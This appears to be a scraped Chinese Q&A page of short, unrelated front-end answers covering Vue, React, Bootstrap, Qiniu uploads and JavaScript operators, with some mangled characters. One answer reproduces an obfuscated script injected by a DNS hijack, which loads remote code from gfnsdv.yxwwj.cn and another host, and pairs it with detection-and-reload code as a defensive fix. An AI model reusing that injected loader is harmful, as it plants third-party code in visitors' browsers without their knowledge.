鍍金池/ 問答/ HTML問答
厭遇 回答

input 沒有雙向綁定
<input type="text" v-model="item.number" v-on:change="changeFn()">

哎呦喂 回答

forceUpdate會跳過shouldComponentUpdate步驟直接觸發(fā)組件的render方法
官網(wǎng)建議應(yīng)該盡量避免使用forceUpdate

Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
https://reactjs.org/docs/reac...
巴扎嘿 回答

經(jīng)過一個晚上的嘗試,最終發(fā)現(xiàn)時SSL的問題,需要用代碼禁用一下,便可以成功訪問

來守候 回答

不是,不是使用bt布局時候 所有元素都要放到柵格化系統(tǒng)去。

可以不加?xùn)鸥窕到y(tǒng),柵格化是為了排版。但是往往我們都會放在柵格化系統(tǒng)里去,方便管理。

不過你可以加多個柵格化系統(tǒng),如果某些情況下你覺得一個柵格化系統(tǒng)不在靈活。

比如它的導(dǎo)航條,默認(rèn)就是一個獨立的柵格化系統(tǒng)。

如果需要可以看一下bt的小demo演示,頭部導(dǎo)航是獨立的柵格化,另外有些頁面是用的100%的寬度的

并沒有,需要自己寫擴(kuò)展。


function certainFunction(obj, keys) {
  return keys.reduce((result, key) => {
    if (obj.hasOwnProperty(key)) {
      result[key] = obj[key];
    }
    
    return result;
  }, {});
}

var obj = { a: 1, b: 2, c: 3, d: 4 };
certainFunction(obj, ['a', 'b']);
浪蕩不羈 回答

在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因為 電信劫持了dns,在網(wǎng)頁中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼

var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
    function b(b) {
        var c = a.createElement("script");
        c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
    }
    var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
    /^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
        _ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
        a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);

我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個,就load不到了。

解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)

 window.onload = function(){
      
      let isSetInt = false;
      let setInt = setInterval(r => {
          let index  = getstore() || 0;
          let findDns = false;
          if (isSetInt) {
              clearInterval(setInt);
              let scr = document.getElementsByTagName('script');
            for (var i = scr.length - 1; i >= 0; i--) {
                if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
                    
                    findDns = true;
                    store(++index);
                    window.location.reload();
                    break;
                }
            }
            if (!findDns) {
                store(0)
            }
          }
          try{
              if (getmd5) {
                  isSetInt = true;
              }
              
          }catch(e){
              console.log(e);
          }
      },1000);
    
  }

      function store (state) {
        try {
           return localStorage.setItem('index', state);
        } catch (e) {
          cookie.setCookie('index',state, 1);
        }
    }

    function getstore () {
        if (localStorage.getItem('index') == null) {
            return unescape(cookie.getCookie('index'));
        }else{
            return localStorage.getItem('index');
        }
    }
安若晴 回答

js沒有這個內(nèi)置函數(shù)的。你不需要額外去轉(zhuǎn)換,js會自己處理成 12e+7 類似這種科學(xué)計數(shù)法的數(shù)字

陌離殤 回答

如果真的需要這種功能的話,就像你說的那樣存入一個注冊ip

但是我是不推薦你這樣限制的,一個公司或者家庭對外都是一個ip,但是內(nèi)部是有很多人在使用,如果每個人都要注冊賬號,你這個限制就只能一個人能夠注冊,其他人就不能注冊了,只有關(guān)閉路由器,再重新啟動,等ip換了才能注冊,這樣用戶體驗是很不好的,你可以存入注冊ip,但是不要用ip來限制用戶注冊,你可以想其他方法來解決用戶多次亂注冊賬號的行為,比如:用戶注冊一個賬號之后就生成一個標(biāo)識存入cookie,用戶在注冊時判斷有沒有這個cookie,有就提醒已經(jīng)注冊賬號,沒有這個值就可以注冊。(這個只能相對的解決部分亂注冊,多注冊行為,比如用戶清楚瀏覽器緩存就又可以注冊了,換一個瀏覽器也可以注冊,所以這種驗證只是相對的,有一種完美的方法就是必須使用手機(jī)號碼注冊【注冊需要收手機(jī)驗證碼,這就看用戶有多少手機(jī)號了】)

這只是我個人的看法,你自己根據(jù)你實際情況進(jìn)行修改使用

命于你 回答

存放echarts的容器寬高的問題,調(diào)試一下看看容器的寬高是多少?窗口變化的時候,寬高怎么變

笑浮塵 回答

發(fā)送事件的時候新的組件還沒綁定事件怎么監(jiān)聽得到呢?
https://codesandbox.io/s/p7vk...

淡墨 回答

逗號運(yùn)算符。
先計算左邊的操作數(shù),然后計算右邊的操作數(shù),最后返回右操作數(shù)的值。

墨染殤 回答

<script src="/js/plupload.full.min.js"></script>
<script src="https://cdn.staticfile.org/qi...;></script>
componentDidMount(){

this.initQiniu();

}

initQiniu(){

var _this = this;
var uploader = Qiniu.uploader({
    runtimes: 'html5,flash,html4',      // 上傳模式,依次退化
    browse_button: 'pickfiles',         // 上傳選擇的點選按鈕,**必需**
    uptoken_url: 'url to fetch token',         // Ajax 請求 uptoken 的 Url,**強(qiáng)烈建議設(shè)置**(服務(wù)端提供)
    get_new_uptoken: false,             // 設(shè)置上傳文件的時候是否每次都重新獲取新的 uptoken
    unique_names: true,              // 默認(rèn) false,key 為文件名。若開啟該選項,JS-SDK 會為每個文件自動生成key(文件名)
    domain: 'xxx',     // bucket 域名,下載資源時用到,**必需**
    container: 'container',             // 上傳區(qū)域 DOM ID,默認(rèn)是 browser_button 的父元素,
    max_file_size: '100mb',             // 最大文件體積限制
    flash_swf_url: 'path/of/plupload/Moxie.swf',  //引入 flash,相對路徑
    max_retries: 3,                     // 上傳失敗最大重試次數(shù)
    dragdrop: true,                     // 開啟可拖曳上傳
    drop_element: 'container',          // 拖曳上傳區(qū)域元素的 ID,拖曳文件或文件夾后可觸發(fā)上傳
    chunk_size: '4mb',                  // 分塊上傳時,每塊的體積
    auto_start: true,                   // 選擇文件后自動上傳,若關(guān)閉需要自己綁定事件觸發(fā)上傳,
    init: {
        'FilesAdded': (up, files) => {
            plupload.each(files, function(file) {
                // 文件添加進(jìn)隊列后,處理相關(guān)的事情
            });
        },
        'BeforeUpload': (up, file) => {
          // 每個文件上傳前,處理相關(guān)的事情
        },
        'UploadProgress': (up, file) => {
          // 每個文件上傳時,處理相關(guān)的事情
          this.setState({
            isUploading: true,
          });
        },
        'FileUploaded': (up, file, info) => {
          const domain = window.domain;
          const res = JSON.parse(info);
          const sourceLink = domain + res.key; //獲取上傳成功后的文件的Url
          this.setState({
            fileUrl: sourceLink,
            isUploading: false
          });
        },
        'Error': (up, err, errTip) => {
               //上傳出錯時,處理相關(guān)的事情
        },
        'UploadComplete': () => {
               //隊列文件處理完畢后,處理相關(guān)的事情
        },
    }
});

}

render(){

return(
            <div id="container">
              <div id="pickfiles">上傳</div>
            </div>
)

}

喜歡你 回答
render: (h) => {
    return h('div', [
        h('h2', '標(biāo)題'),
        h('Input', {
            props: {
                value: this.value,
                autofocus: true,
                placeholder: 'Please enter your name...'
            },
            on: {
                input: (val) => {
                    this.value = val;
                }
            }
        })
    ])
}

外層包裹div,第二個參數(shù)用數(shù)組表示自元素序列。可以根據(jù)官方提示學(xué)習(xí)下render函數(shù)的使用,這是vue的官方api。h是createElement的簡寫,也是vue官方api。

影魅 回答

多項遍歷的話,可以選擇加一個index下標(biāo)。

<div>配送方式</div>
        <div>
          <a @click="show(index)" :class="showTab&&click_index===index?'active':''" href="javascript:;">普通快遞</a>
          <a @click="show(index)" :class="!showTab&&click_index===index?'active':''" href="javascript:;">上門自提</a>
        </div>
        <p v-if="showTab&&click_index===index">普通快遞:¥{{item.expressPrice}}</p>
        <p v-if="!showTab&&click_index===index">您可以選擇離您最近的自提點上門提貨,到店自提免運(yùn)費(fèi)</p>
      </div>
 data(){
return {
click_index: -1
}
},     
methods: {
  show(index){
    this.showTab = !this.showTab;
    this.click_index = index;
  },
何蘇葉 回答

圖片描述

如果你只是想實現(xiàn)單擊的時候打印該元素的text,雙擊的時候會刪除該元素,那么使用vue的事件綁定不是更簡單?

<p v-for="(item,index) in aa" :key="index" @click="log(item.text)" @dblclick="spl(index)">{{item.text}}</p>

methods

log(i){console.log(i)},
spl(i){this.aa.splice(i,1)}
不歸路 回答

不可以的,這樣不符合邏輯。如果你想實現(xiàn)的話只能自己去寫一個。

忠妾 回答

好吧,我在 官方github 找到了答案

事實上這個問題并沒有被解決,因為當(dāng)前版本的 RN (5.2) 的 SectionList 似乎不支持 setNativeProps 的完整功能

詳情看這里:https://stackoverflow.com/a/2...
簡單地說是因為v8的代碼優(yōu)化造成的結(jié)果。答案的下面的回復(fù)(https://stackoverflow.com/a/4...)也提到了一個繞過去這個問題的方法:使用eval('debugger');代替debugger